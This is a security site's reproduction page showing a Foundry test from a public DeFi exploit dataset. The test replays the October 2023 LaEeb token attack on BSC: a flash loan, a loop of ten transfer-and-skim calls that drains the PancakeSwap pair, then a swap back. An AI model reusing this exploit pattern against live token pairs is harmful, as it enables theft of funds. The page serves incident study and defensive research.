Public reproduction file
src/test/2023-10/LaEeb_exp.sol
Public reproduction file for dataset entry LaEeb.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "./../interface.sol";6// @KeyInfo -- Total Lost : ~1.8 WBNB7// TX : https://app.blocksec.com/explorer/tx/bsc/0x0d13a61e9dc81cfae324d3d80e49830d9bbae300f760e016a15600889a896a1b8// Attacker : https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c88919// Attack Contract : https://bscscan.com/address/0x9180981034364f683ea25bcce0cff5e03a595bef10// GUY : https://x.com/MetaSec_xyz/status/171896456216542007612contract Exploit is Test {13 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);14 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);15 IPancakePair Pair = IPancakePair(0x3921E8cb14e2C08DB989FDF88D01220a0C53cC91);16 IERC20 LaEeb = IERC20(0xa2B8A15A07385EA933088c6bcBB38B84c1051a58);17 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);18 IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);20 function setUp() external {21 cheats.createSelectFork("bsc", 33_053_187);22 }24 function testExploit() external {25 emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);26 DPP.flashLoan(8.6 ether, 0, address(this), abi.encode("Attack"));27 emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);28 }30 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {31 swap_token_to_token(address(WBNB), address(LaEeb), 8.6 ether);32 uint256 i = 0;33 while (i < 10) {34 LaEeb.transfer(address(Pair), 3_255_594_269_218 ether);35 Pair.skim(address(this));36 i++;37 }38 swap_token_to_token(address(LaEeb), address(WBNB), LaEeb.balanceOf(address(this)));39 WBNB.transfer(msg.sender, baseAmount);40 }42 function swap_token_to_token(address a, address b, uint256 amount) internal {43 IERC20(a).approve(address(Router), amount);44 address[] memory path = new address[](2);45 path[0] = address(a);46 path[1] = address(b);47 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);48 }49}Analysis
Dataset entry
Public Foundry test for “LaEeb” (2023-10-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-10/Astrid_exp.solSame month in the dataset · 156 lines
- src/test/2023-10/BelugaDex_exp.solSame month in the dataset · 171 lines
- src/test/2023-10/BH_exp.solSame month in the dataset · 139 lines
- src/test/2023-10/DePayRouter_exp.solSame month in the dataset · 132 lines
- src/test/2023-10/Hopelend_exp.solSame month in the dataset · 240 lines
- src/test/2023-10/kTAF_exp.solSame month in the dataset · 146 lines
- src/test/2023-10/MaestroRouter2_exp.solSame month in the dataset · 85 lines
- src/test/2023-10/MicDao_exp.solSame month in the dataset · 109 lines
- src/test/2023-10/OpenLeverage_exp.solSame month in the dataset · 130 lines
- src/test/2023-10/Platypus03_exp.solSame month in the dataset · 112 lines
- src/test/2023-10/pSeudoEth_exp.solSame month in the dataset · 79 lines
- src/test/2023-10/StarsArena_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/UniBot_exp.solSame month in the dataset · 80 lines
- src/test/2023-10/WiseLending_exp.solSame month in the dataset · 185 lines
- src/test/2023-10/ZS_exp.solSame month in the dataset · 141 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7cb74265e3e2d2b707122bf45aea66137c6c8891
- Attack Contract
0x9180981034364f683ea25bcce0cff5e03a595bef
File record
- Name
- LaEeb
- Path
- src/test/2023-10/LaEeb_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8f664fd8002e396db7c0a4b812c0570580a6f485
- Language
- Solidity
- Size
- 50 lines
- Date
- 2023-10-30
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-10/LaEeb_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8f664fd8002e396db7c0a4b812c0570580a6f485, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.